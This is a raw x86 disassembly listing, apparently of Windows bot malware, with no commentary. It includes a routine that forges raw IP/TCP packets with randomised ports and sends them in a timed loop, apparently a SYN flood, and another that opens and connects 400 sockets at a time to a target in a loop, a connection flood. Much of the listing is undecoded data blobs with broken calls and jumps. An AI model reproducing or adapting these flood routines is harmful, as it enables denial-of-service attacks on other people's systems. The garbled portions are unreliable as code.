		cmp	edi, 0FFFFFFFFh
		mov	[ebp-10h], edi
		jnz	short loc_412D08
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412D08:				; CODE XREF: seg000:00412CFDj
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4D121C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412D7E
		call	ds:dword_4D1184
		push	eax
		lea	eax, [ebp-2B8h]
		push	offset unk_43DD88
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-2Ch], ebx
		jnz	short loc_412D5A
		push	ebx
		lea	eax, [ebp-2B8h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_4099D2
		add	esp, 14h


loc_412D5A:				; CODE XREF: seg000:00412D38j
		lea	eax, [ebp-2B8h]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	edi
		call	ds:dword_4D1288
		push	dword ptr [ebp-34h]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h
		push	esi


loc_412D7E:				; CODE XREF: seg000:00412D18j
		push	ebx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp-0Ch], esi
		call	ds:dword_4D119C
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_412E03+1
		call	ds:dword_4D1184
		push	eax
		lea	eax, [ebp-2B8h]
		push	offset unk_43DD58
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-2Ch], ebx
		jnz	short loc_412DE0
		push	ebx
		lea	eax, [ebp-2B8h]	; CODE XREF: seg000:loc_412E03j
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_4099D2
		add	esp, 14h


loc_412DE0:				; CODE XREF: seg000:00412DBEj
		lea	eax, [ebp-2B8h]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	edi
		call	ds:dword_4D1288
		push	dword ptr [ebp-34h]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h


loc_412E03:				; CODE XREF: seg000:00412D9Ej
		js	short near ptr loc_412DC1+2
		add	[edx], al
; ---------------------------------------------------------------------------
		db 0
		dd 0FFFFBF00h, 858D0000h, 0FFFEEC48h, 0E8505357h, 8E24h
					; CODE XREF: seg000:00412FFCj
					; seg000:00413022j ...
		dd 8D0CC483h, 0FEEC4885h, 505753FFh, 0FFF075FFh, 4D120815h
		dd 51BD8000h, 6FFFEECh,	0B5FFCF75h, 0FFFEEC5Ch,	71E43D8Bh
		dd 0D7FF0042h, 0EC5EB5FFh, 0B70FFFFEh, 84589C0h, 7D83D7FFh
		dd 0B70F6E08h, 83AA74F8h, 7419087Dh, 6EFF83A4h,	0FF839F74h
		dd 0FF9A7419h, 0FEEC54B5h, 0FAD9E8FFh, 0FF59FFFFh, 0E815FF30h
		dd 50004271h, 0EC48858Dh, 8C68FFFFh, 50004335h,	90A1E8h
		dd 58B5FF00h, 0E8FFFEECh, 0FFFFFAB3h, 0FF10C483h, 0E815FF30h
		dd 50004271h, 0F448858Dh, 8C68FFFFh, 50004335h,	9079E8h
		dd 74858D00h, 89FFFEECh, 0E850FC5Dh, 89C4h, 8510C483h
		dd 8B347EC0h, 0BC80FC45h, 0FEEC7405h, 848D0DFFh, 0FEEC7405h
		dd 0C60375FFh, 38802000h, 0C603750Ah, 45FF2000h, 74858DFCh
		dd 50FFFEECh, 898FE8h, 0FC453900h, 83CC7C59h, 0F50087Dh
		dd 0A984h, 50FF8300h, 0A0840Fh,	858D0000h, 0FFFEEC74h
		dd 0FA3CE850h, 0C084FFFFh, 8D237459h, 0FEEC7485h, 858D50FFh
		dd 0FFFFF448h, 75FF5057h, 48858D08h, 50FFFFECh,	43DD2468h
		dd 9BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_412F4E:				; DATA XREF: seg002:off_44241Co
		cmp	edi, 50h
		jz	short loc_412FBA
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_412A79
		test	al, al
		pop	ecx
		jz	short loc_412F84
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-13B8h]
		push	eax
		push	offset unk_43DCF0
		jmp	short loc_412FE9
; ---------------------------------------------------------------------------


loc_412F84:				; CODE XREF: seg000:00412F62j
		cmp	edi, 50h
		jz	short loc_412FBA
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_412AEF
		test	al, al
		pop	ecx
		jz	short loc_412FBA
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-13B8h]
		push	eax
		push	offset unk_43DCBC
		jmp	short loc_412FE9
; ---------------------------------------------------------------------------


loc_412FBA:				; CODE XREF: seg000:00412F51j
					; seg000:00412F87j ...
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_412B76
		test	al, al
		pop	ecx
		lea	eax, [ebp-1138Ch]
		push	eax
		jz	short loc_413027
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		lea	eax, [ebp-13B8h]
		push	dword ptr [ebp+8]
		push	eax
		push	offset unk_43DC84


loc_412FE9:				; CODE XREF: seg000:00412F82j
					; seg000:00412FB8j ...
		lea	eax, [ebp-2B8h]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 20h
		cmp	[ebp-2Ch], ebx
		jnz	near ptr dword_412E08+1
		push	ebx
		lea	eax, [ebp-2B8h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_4099D2
		add	esp, 14h
		jmp	near ptr dword_412E08+1
; ---------------------------------------------------------------------------


loc_413027:				; CODE XREF: seg000:00412FD0j
		call	sub_412BFD
		test	al, al
		pop	ecx
		jz	near ptr dword_412E08+1
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-13B8h]
		push	eax
		push	offset unk_43DC4C
		jmp	short loc_412FE9
; ---------------------------------------------------------------------------
byte_413055	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:00407F99o
		dd 494EC81h, 458B0000h,	0B9575608h, 0A5h, 0BD8DF08Bh, 0FFFFFD6Ch
		dd 80C7A5F3h, 290h, 1, 70A815FFh, 0E8500042h, 8F00h, 0FE74858Dh
		dd 8D50FFFFh, 0FFFF7485h, 858D50FFh, 0FFFFFDF4h, 74858D50h
		dd 50FFFFFDh, 395E8h, 858D5000h, 0FFFFFB6Ch, 43DDB468h
		dd 7BE85000h, 3300008Eh, 20C483F6h, 75F87539h, 858D5620h
		dd 0FFFFFB6Ch, 50F475FFh, 0FEF4858Dh, 0FF50FFFFh, 0FFFD6CB5h
		dd 68F0E8FFh, 0C483FFFFh, 6C858D14h, 50FFFFFBh,	26B5E8h
		dd 70B5FF00h, 0E8FFFFFDh, 0FFFF822Eh, 0E8565959h, 6ECEFCh
; ---------------------------------------------------------------------------
		cli
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413107	proc near		; CODE XREF: seg000:0041347Ep

var_17AF1BBC	= dword	ptr -17AF1BBCh
var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_4D1160
		test	eax, eax
		jz	short loc_413147
		xor	eax, eax
		jmp	loc_41343A
; ---------------------------------------------------------------------------


loc_413147:				; CODE XREF: sub_413107+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_4D1294
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_413432
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	ds:dword_4D11D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_413428
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	ds:dword_4D11F0
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	ds:dword_4D11F0
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	ds:dword_4D11F0
		mov	[ebp+var_12], ax
		call	sub_41BF92
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_4D11F0
		push	12345678h
		mov	[ebp+var_14], ax
		call	ds:dword_4D11EC
		push	offset dword_43DE10
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413217
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_41326B
; ---------------------------------------------------------------------------


loc_413217:				; CODE XREF: sub_413107+105j
		push	offset dword_43DE04
		push	[ebp+arg_8]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413233
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_41326B
; ---------------------------------------------------------------------------


loc_413233:				; CODE XREF: sub_413107+121j
		push	offset dword_43DDF8
		push	[ebp+arg_8]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41326B
		call	sub_41BF92
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41BF92
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_41326B:				; CODE XREF: sub_413107+10Ej
					; sub_413107+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	ds:dword_4D11F0
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 0B00000h
		or	[ebp+var_17AF1BBC+1], ecx
		push	0E6006ECDh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D950
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_4132B9:				; CODE XREF: sub_413107+2E2j
					; sub_413107+2F0j
		mov	[ebp+var_4], bx
		call	sub_41BF92
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_4D11F0
		mov	[ebp+var_14], ax
		call	sub_41BF92
		mov	edi, eax
		shl	edi, 10h
		call	sub_41BF92
		or	edi, eax
		push	edi
		call	ds:dword_4D11F0
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_4D11EC
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_4D11F0
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40ABC3
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C9B0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40ABC3
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	ds:dword_4D1254
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4133FC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 0B00000h
		pop	ecx
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_413425
		jl	loc_4132B9
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_413425
		jmp	loc_4132B9
; ---------------------------------------------------------------------------


loc_4133FC:				; CODE XREF: sub_413107+2CBj
		call	ds:dword_4D1184
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43DDDC
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4157A6
		add	esp, 10h
		jmp	short loc_413428
; ---------------------------------------------------------------------------


loc_413425:				; CODE XREF: sub_413107+2E0j
					; sub_413107+2EEj
		mov	ebx, [ebp+arg_8]


loc_413428:				; CODE XREF: sub_413107+78j
					; sub_413107+31Cj
		push	[ebp+var_20]
		call	ds:dword_4D1288
		pop	esi


loc_413432:				; CODE XREF: sub_413107+5Bj
		call	ds:dword_4D1148
		mov	eax, ebx


loc_41343A:				; CODE XREF: sub_413107+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413107	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AA54
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41BE29
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41BE29
		mov	edi, eax
		call	sub_41BF92
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413107
		add	esp, 20h
		test	eax, eax
		jnz	short loc_41348D
		push	1
		pop	eax


loc_41348D:				; CODE XREF: seg000:00413488j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_41349C	dd 81EC8B55h, 3BCECh, 8B565300h, 6A570845h, 59F08B68h
					; DATA XREF: seg000:00408172o
		dd 0FE44BD8Dh, 16AFFFFh, 0FF685Bh, 36A0000h, 26AA5F3h
		dd 19C9889h, 15FF0000h,	4D1270h, 89FFF883h, 5F75FC45h
		dd 118415FFh, 8D50004Dh, 0FFFC4485h, 0DF0068FFh, 0E8500043h
		dd 8A46h, 0C483FF33h, 0DC7D390Ch, 8D572075h, 0FFFC4485h
		dd 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0BBE8FFFFh
		dd 83FFFF64h, 858D14C4h, 0FFFFFC44h, 2280E850h,	75FF0000h
		dd 7DFCE8C8h, 5959FFFFh, 0CACAE857h, 8DB2006Eh,	46AF44Dh
		dd 6AFF3351h, 89505702h, 15FFF45Dh, 4D11D0h, 75FFF883h
		dd 8415FF5Dh, 50004D11h, 0FC44858Dh, 0D068FFFFh, 500043DEh
		dd 89CDE8h, 0CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h
		dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6444E8FFh
		dd 0C483FFFFh, 44858D14h, 50FFFFFCh, 2209E8h, 0C875FF00h
		dd 0FF7D85E8h, 575959FFh, 6ECA53E8h, 858D1A00h,	0FFFFFE48h
		dd 3015FF50h, 83004D12h, 5575FFF8h, 0FC44858Dh,	0B068FFFFh
		dd 500043DEh, 8965E8h, 0DC7D3900h, 20755959h, 44858D57h
		dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h
		dd 0FF63DDE8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 21A2h
		dd 0E8C875FFh, 0FFFF7D1Eh, 0E8575959h, 6EC9ECh,	8D106A82h
		dd 5057E445h, 861FE8h, 0CC48300h, 0E445C766h, 0FF570002h
		dd 4D11F015h, 45896600h, 48858DE6h, 50FFFFFEh, 123015FFh
		dd 358B004Dh, 4270A8h, 89E84589h, 0D6FF087Dh, 0FFF84589h
		dd 0F8452BD6h, 0E8B9D233h, 0F7000003h, 0D0453BF1h, 194870Fh
		dd 1C680000h, 0C6000004h, 4D3F6805h, 15FF4500h,	4D11F0h
		dd 66D47D39h, 4D3F6AA3h, 1D896600h, 4D3F6Ch, 6E3D8966h
		dd 0C6004D3Fh, 4D3F7005h, 1D888000h, 4D3F71h, 723D8966h
		dd 74004D3Fh, 88E4E830h, 0D88B0000h, 0E808E3C1h, 88DAh
		dd 0E3C1D803h, 88D0E808h, 0D8030000h, 0E808E3C1h, 88C6h
		dd 16AD803h, 3F741D89h,	0EB5B004Dh, 44B5FF18h, 0E8FFFFFEh
		dd 0FFFF7486h, 15FF5059h, 4D1230h, 4D3F74A3h, 0E8458B00h
		dd 4D3F78A3h, 8894E800h, 0B9990000h, 100h, 1588F9F7h, 4D3F7Ch
		dd 8881E8h, 0B99900h, 0F7000001h, 7D1588F9h, 0E8004D3Fh
		dd 886Eh, 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4D3F7Eh
		dd 821D8966h, 42004D3Fh, 80158966h, 0E8004D3Fh,	8846h
		dd 0FFB999h, 0F9F70000h, 3F846852h, 0E1E8004Dh,	83000084h
		dd 458D0CC4h, 50106AE4h, 41C6857h, 68680000h, 0FF004D3Fh
		dd 15FFFC75h, 4D1254h, 74FFF883h, 845FF08h, 0FFFECAE9h
		dd 0FC75FFFFh, 128815FFh, 15FF004Dh, 4D1184h, 48858D50h
		dd 0FFFFFFFEh, 68500875h, 43DE68h, 0FC44858Dh, 68FFFFh
		dd 50000002h, 8877E8h, 18C48300h, 75DC7D39h, 858D5720h
		dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h
		dd 61F4E8FFh, 0C483FFFFh, 44858D14h, 50FFFFFCh,	1FB9E8h
		dd 0C875FF00h, 0FF7B35E8h, 575959FFh, 6EC803E8h, 75FF7600h
		dd 8815FFFCh, 8B004D12h, 0D2330845h, 8B3CC06Bh,	0AE8C1C8h
		dd 0C1D075F7h, 505114E9h, 0FE48858Dh, 75FFFFFFh, 858D5008h
		dd 0FFFFFEC8h, 44858D50h, 68FFFFFCh, 43DE1Ch, 86F8E850h
		dd 0C4830000h, 0DC7D391Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 6FE8FFFFh,	83FFFF61h
		dd 858D14C4h, 0FFFFFC44h, 1F34E850h, 75FF0000h,	7AB0E8C8h
		dd 5959FFFFh, 0C77EE857h
		db 6Eh,	0, 7
byte_413883	db 55h			; DATA XREF: seg000:00406F69o
		dd 20B8EC8Bh, 0E8000103h, 8940h, 5308458Bh, 496A5756h
		dd 8D59F08Bh, 0FFFEBCBDh, 6AA5F3FFh, 0B8895F01h, 120h
		dd 117815FFh, 4589004Dh, 40858D08h, 50FFFFFFh, 123015FFh
		dd 0F08B004Dh, 0C033DB33h, 75FFFE83h, 40858D11h, 50FFFFFFh
		dd 127415FFh, 0C33B004Dh, 7D830674h, 5D75FF08h,	0FF40858Dh
		dd 8D50FFFFh, 0FFFCBC85h, 0DF5868FFh, 0E8500043h, 863Ah
		dd 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh, 8D50D475h
		dd 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF60B1E8h, 14C483FFh
		dd 0FCBC858Dh, 0E850FFFFh, 1E76h, 0E8D075FFh, 0FFFF79F2h
		dd 0E8575959h, 6EC6C0h,	74C33BB3h, 0C408B0Ch, 8B008Bh
		dd 0EBFC4589h, 0FC758903h, 458D1C6Ah, 0E85053E0h, 82E0h
		dd 0FFE84D83h, 0FFDCB8h, 0CC48300h, 7EC44539h, 0C4458903h
		dd 7DC87D39h, 0C87D8903h, 5D39F633h, 0FF267EC0h, 458DC875h
		dd 501C6AE0h, 0E0858D53h, 0FFFFFEFCh, 0FF50C475h, 75FFFC75h
		dd 815FF08h, 46004D11h,	7CC0753Bh, 875FFDAh, 12A815FFh
		dd 858D004Dh, 0FFFFFF40h, 0BC858D50h, 68FFFFFCh, 43DF2Ch
		dd 856CE850h, 0C4830000h, 0D85D390Ch, 8D532075h, 0FFFCBC85h
		dd 0D475FFFFh, 0C0858D50h, 50FFFFFEh, 0FEBCB5FFh, 0E3E8FFFFh
		dd 83FFFF5Fh, 858D14C4h, 0FFFFFCBCh, 1DA8E850h,	75FF0000h
		dd 7924E8D0h, 5959FFFFh, 0C5F2E853h
		db 6Eh,	0, 80h
byte_413A0F	db 55h			; DATA XREF: seg000:004071B2o
		dd 10B8EC8Bh, 0E8000103h, 87B4h, 5308458Bh, 496A5756h
		dd 8D59F08Bh, 0FFFECCBDh, 6AA5F3FFh, 0B0895E01h, 120h
		dd 70A815FFh, 0E8500042h, 8544h, 6A116A59h, 0FF026A02h
		dd 4D127015h, 33D88B00h, 8D106AFFh, 5057F045h, 81DFE8h
		dd 0CC48300h, 0FF50858Dh, 0C766FFFFh, 2F045h, 3015FF50h
		dd 83004D12h, 4589FFF8h, 8D757508h, 0FFFF5085h,	15FF50FFh
		dd 4D1274h, 5D75C73Bh, 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h
		dd 0DFAC68FFh, 0E8500043h, 848Eh, 390CC483h, 2075E87Dh
		dd 0CC858D57h, 0FFFFFFFCh, 8D50E475h, 0FFFED085h, 0B5FF50FFh
		dd 0FFFFFECCh, 0FF5F05E8h, 14C483FFh, 0FCCC858Dh, 0E850FFFFh
		dd 1CCAh, 0E8E075FFh, 0FFFF7846h, 0E8565959h, 6EC514h
		dd 0C408B6Dh, 3EB008Bh,	8B08458Dh, 0DC7D3900h, 75F44589h
		dd 848CE811h, 0B9990000h, 0FFDCh, 5242F9F7h, 75FF03EBh
		dd 0F015FFDCh, 39004D11h, 8966DC75h, 37DF245h, 0B8DC7589h
		dd 0FFFFh, 7EDC4539h, 0DC458903h, 6AD0458Bh, 0F759990Ah
		dd 0D87D39F9h, 75D04589h, 0D8758903h, 7D39F633h, 0E81A7ED4h
		dd 843Eh, 0FFB999h, 0F9F70000h,	0D4753B46h, 0EF359488h
		dd 7CFFFEFCh, 0D0458BE6h, 85D04DFFh, 6A557EC0h,	458D5E0Bh
		dd 50106AF0h, 8410E857h, 0A6A0000h, 0F9F75999h,	2BD4458Bh
		dd 858D50C2h, 0FFFEFCF0h, 15FF5350h, 4D1254h, 0FFD875FFh
		dd 42706415h, 0CE754E00h, 75DC7D39h, 83E0E8BCh,	0B9990000h
		dd 0FFDCh, 5242F9F7h, 11F015FFh, 8966004Dh, 0A1EBF245h
		dd 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h, 0DF8068FFh, 0E8500043h
		dd 8356h, 390CC483h, 2075E87Dh,	0CC858D57h, 0FFFFFFFCh
		dd 8D50E475h, 0FFFED085h, 0B5FF50FFh, 0FFFFFECCh, 0FF5DCDE8h
		dd 14C483FFh, 0FCCC858Dh, 0E850FFFFh, 1B92h, 0E8E075FFh
		dd 0FFFF770Eh, 0E8575959h, 6EC3DCh
		db 94h
byte_413C25	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:00406840o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 11DE850h, 8D500000h, 0FFFBEC85h
		dd 0DFD468FFh, 0E8500043h, 82BEh, 0C483F633h, 0F8753918h
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 33E8FFFFh, 83FFFF5Dh, 858D14C4h,	0FFFFFBECh
		dd 1AF8E850h, 75FF0000h, 7674E8F0h, 5959FFFFh, 0C342E856h
		dd 5F2D006Eh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CC1	proc near		; CODE XREF: seg000:00413DAAp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	ds:dword_4D11F0
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413D7F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413D0C:				; CODE XREF: sub_413CC1+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413D14:				; CODE XREF: sub_413CC1+7Aj
		push	0
		push	1
		push	2
		call	ds:dword_42721C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_413D37
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_4271F4	; ioctlsocket


loc_413D37:				; CODE XREF: sub_413CC1+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413D14
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413D45:				; CODE XREF: sub_413CC1+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_42720C	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_413D45
		push	64h
		call	ds:dword_427064	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413D69:				; CODE XREF: sub_413CC1+B4j
		push	dword ptr [esi]
		call	ds:dword_427218	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_413D69
		dec	[ebp+arg_4]
		jnz	short loc_413D0C
		pop	edi
		pop	esi
		pop	ebx


loc_413D7F:				; CODE XREF: sub_413CC1+3Ej
		xor	eax, eax
		leave
		retn
sub_413CC1	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AA54
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41BE29
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41BE29
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_413CC1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_413DB9
		push	1
		pop	eax


loc_413DB9:				; CODE XREF: seg000:00413DB4j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
